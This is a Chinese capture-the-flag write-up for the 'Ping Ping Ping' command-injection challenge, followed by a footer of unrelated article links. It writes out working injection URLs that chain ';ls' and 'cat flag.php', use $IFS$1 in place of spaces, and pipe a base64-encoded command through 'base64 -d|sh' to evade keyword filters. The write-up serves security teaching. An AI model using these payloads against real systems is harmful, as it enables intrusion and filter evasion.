BUU-[GXYCTF2019]Ping Ping Ping

考察点

命令执行

题目

在这里插入图片描述

image.png

解题

简单测试

?ip应该是一个提示,那么就测试一下?ip=127.0.0.1

http://0c02a46a-5ac2-45f5-99da-3d1b0b951307.node4.buuoj.cn:81/?ip=127.0.0.1

发现正常回显
image.png

列出文件

那么猜测一下可能会有命令执行漏洞,测试?ip=127.0.0.1;ls

http://0c02a46a-5ac2-45f5-99da-3d1b0b951307.node4.buuoj.cn:81/?ip=127.0.0.1;ls

image.png
发现有flag.php文件和index.php文件

查看flag.php文件

?ip=127.0.0.1;cat flag.php

http://0c02a46a-5ac2-45f5-99da-3d1b0b951307.node4.buuoj.cn:81/?ip=127.0.0.1;cat%20flag.php

发现回显不是flag值,估计是被过滤了
在这里插入图片描述

猜测可能是空格被过滤了,尝试用 I F S {IFS} IFS 进行代替

http://0c02a46a-5ac2-45f5-99da-3d1b0b951307.node4.buuoj.cn:81/?ip=127.0.0.1;cat${IFS}$flag.php

image.png

发现也得不到flag值,猜测可能还过滤了{},那么使用 ${IFS}$1 进行代替

http://0c02a46a-5ac2-45f5-99da-3d1b0b951307.node4.buuoj.cn:81/?ip=127.0.0.1;cat${IFS}$1flag.php

依旧没有得到flag值
image.png

查看index.php

http://0c02a46a-5ac2-45f5-99da-3d1b0b951307.node4.buuoj.cn:81/?ip=127.0.0.1;cat$IFS$1index.php

在这里插入图片描述

这下过滤了啥就一目了然了
flag字眼过滤了,bash也没了,不过sh没过滤
在这里插入图片描述

先对cat flag.php进行base64编码得到:Y2F0IGZsYWcucGhw

http://0c02a46a-5ac2-45f5-99da-3d1b0b951307.node4.buuoj.cn:81/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|shecho        是打印
$IFS$1      是空格
Y2F0IGZsYWcucGhw        是cat flag.php的base编码
|           是管道符
base64$IFS$1-d      是base64 -d的意思,就是对Y2F0IGZsYWcucGhw进行base64解密
sh          是执行传递过来的cat flag.php命令

查看返回页面的源码可以得到flag
image.png

flag{19795c98-007a-46f5-a449-5f6ae6410dd5}

image.png

总结

命令执行各种绕过总结:

https://blog.csdn.net/m0_64815693/article/details/127268809https://blog.csdn.net/Thunderclap_/article/details/129178221

image.png
image.png

echo${IFS}Y2F0IDEudHh0|base64${IFS}-d|sh

image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/10444.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

SolidWorks将装配体中的草图投影到零件中

SolidWorks将装配体中的草图投影到零件中 在SolidWorks中,将装配体中的草图投影到零件中是一种高级技术,特别适用于那些需要基于装配体上下文创建或修改零件的情形。这个过程不仅有助于确保零件间的精确配合,还能显著提高设计效率。下面是一…

dos命令改3389端口,通过dos命令更改3389端口的操作

要使用DOS命令更改3389端口,通常涉及修改Windows注册表中的相关键值。请注意,直接操作注册表具有一定的风险,因此在进行任何更改之前,请确保您了解正在进行的操作,并已经采取了适当的备份措施。 以下是一个基本的操作步…

记录一次接口优化的过程。接口响应时间从500s下降到5s。

记录一次接口优化的过程。接口响应时间从500s下降到5s。 接口说明: 该接口通过用户导入的一年内每天的厂区用电功率数据来计算用户安装储能设备后的收益情况。 用电功率数据具体为每15分钟一条,一年约有 12*30*24*4 34560 条。 代码循环情况为&…

ES 7.0.0 升级 7.1.0,离线升级

-- 已亲测,可用 1. 停止es 7.0 服务,集群需要全部停止 2. 备份es 7.0 的数据文件 cp -r data data70 3. 下载es 7.1 版本 https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-7.1.0-linux-x86_64.tar.gz 4. 将es 7.0 的数据文件复…

详解GaussDB(DWS)中的行执行引擎

1.前言 GaussDB(DWS)包含三大引擎,一是SQL执行引擎,用来解析用户输入的SQL语句,生成执行计划,供执行引擎来执行;二是执行引擎,其中包含了行执行引擎和列执行引擎,执行引擎…

event::Events::DisconnectWorldUpdateBegin 没有

问题: ROS项目编译报错event::Events::DisconnectWorldUpdateBegin 没有 解决方法: GAZEBO版本问题导致有些函数被删,解决方法直接找到对应版本的源文件进行替换,即可。 ROS18.04 Gazebo9 robotiq85 视觉机械臂抓取仿真_error:…

CentOS常见的命令及其高质量应用

CentOS是一个流行的、基于Red Hat Enterprise Linux(RHEL)的开源服务器操作系统。由于其稳定性和强大的性能,CentOS被广泛应用于各种服务器环境中。为了有效地管理和维护CentOS系统,熟悉并掌握其常见命令是非常重要的。本文将介绍…

当时这样说就好了的笔记

系列文章目录 当时这样说就好了的笔记 文章目录 系列文章目录一、 不用好口才,怎么谈都讨喜的“说话金律”1、 掌握对方爱聊什么是交谈热络的第一步2、 装笨让对方当主角,和谁都能聊不停3、 “讲道理”谁都怕,坚持己见最伤感情4、 懂“聆听附…

Coursera吴恩达深度学习专项课程01: Neural Networks and Deep Learning 学习笔记 Week 04 (完结)

Neural Networks and Deep Learning Course Certificate 本文是学习 https://www.coursera.org/learn/neural-networks-deep-learning 这门课的笔记 Course Intro 文章目录 Neural Networks and Deep LearningWeek 04: Deep Neural NetworksLearning Objectives Deep L-layer…

mac第三方软件怎么删除 MacBook卸载第三方应用程序 mac第三方恶意软件删除不了怎么办呢

Mac是一款优秀的个人电脑,它拥有流畅的操作系统、强大的性能和丰富的应用程序。但是,随着使用时间的增加,你可能会发现你的Mac上安装了一些不需要或者不喜欢的第三方软件,这些软件可能会占用你的空间、影响你的速度或者带来安全风…

MahApps.Metro的MVVM模式介绍(一)

MahApps.Metro是一个开源的WPF (Windows Presentation Foundation) UI 控件库。它的特点有现代化设计、主题定制、响应式布局、内置控件。 而Mvvm模式的核心思想是将用户界面(View)与应用程序逻辑(ViewModel)分离,以实…

电商大数据的采集||电商大数据关键技术【基于Python】

.电商大数据采集API 什么是大数据? 1.大数据的概念 大数据即字面意思,大量数据。那么这个数据量大到多少才算大数据喃?通常,当数据量达到TB乃至PB级别时,传统的关系型数据库在处理能力、存储效率或查询性能上可能会遇…

设计模式-创建型-原型模式-prototype

工作经验类 public class WorkExperience implements Cloneable {private String workDate;private String company;public void setWorkDate(String workDate) {this.workDate workDate;}public void setCompany(String company) {this.company company;}Overridepublic Ob…

nuxt2路由,以及重构以前项目,路由使用

Nuxt.js根据pages目录结构自动生成vue-router模块的路由配置。 配置生成的路由可在.nuxt文件下的router.js文件中查看到,如: export const routerOptions {mode: history,base: /,linkActiveClass: nuxt-link-active,linkExactActiveClass: nuxt-link…

GAME101-Lecture06学习

前言 上节课主要讲的是三角形的光栅化。重要的思想是要利用像素的中心对三角形可见性的函数进行采样。 这节课主要就是反走样。 课程链接:Lecture 06 Rasterization 2 (Antialiasing and Z-Buffering)_哔哩哔哩_bilibili 反走样引入 ​ 通过采样,得到…

算法设计与分析 例题解答 解空间与搜索

1.请画出用回溯法解n3的0-1背包问题的解空间树和当三个物品的重量为{20, 15, 10},价值为{20, 30, 25},背包容量为25时搜索空间树。 答: 解空间树: 搜索空间树: 2. 考虑用分支限界解0-1背包问题 给定n种物品和一背包…

服务丢在tomcat中启动war包,需要在tomcat中配置Java环境吗?

一般来说,部署在 Tomcat 上的 WAR 包启动时不需要在 Tomcat 中单独配置 Java 环境,因为 Tomcat 启动本身就需要依赖 Java 环境。以下是确保 Tomcat 正常运行与部署 WAR 包的基本步骤: 安装 Java 环境: 首先,确保你的系…

ts函数?

函数 介绍 函数是JavaScript应用程序的基础。 它帮助你实现抽象层,模拟类,信息隐藏和模块。 在TypeScript里,虽然已经支持类,命名空间和模块,但函数仍然是主要的定义 行为的地方。 TypeScript为JavaScript函数添加了额…

【Qt C++实现蓝牙互联】

在 Qt C++ 中实现蓝牙互联可以通过 Qt 的蓝牙模块来实现。下面是一个简单的示例,演示如何在 Qt C++ 中使用蓝牙模块进行蓝牙互联,实现搜索设备、连接设备等功能。 // main.cpp #include <QCoreApplication> #include <QBluetoothDeviceDiscoveryAgent> #include…

【八】centos7.6安装chrome和chromedriver并启动selenium

学习来源&#xff1a; 安装chrome和chrome driver -----https://blog.csdn.net/zdlcome/article/details/133813441 安装Python11 -----https://blog.csdn.net/weixin_43741408/article/details/130251102 chromedriver下载地址 -----https://googlechromelabs.github.io/chrom…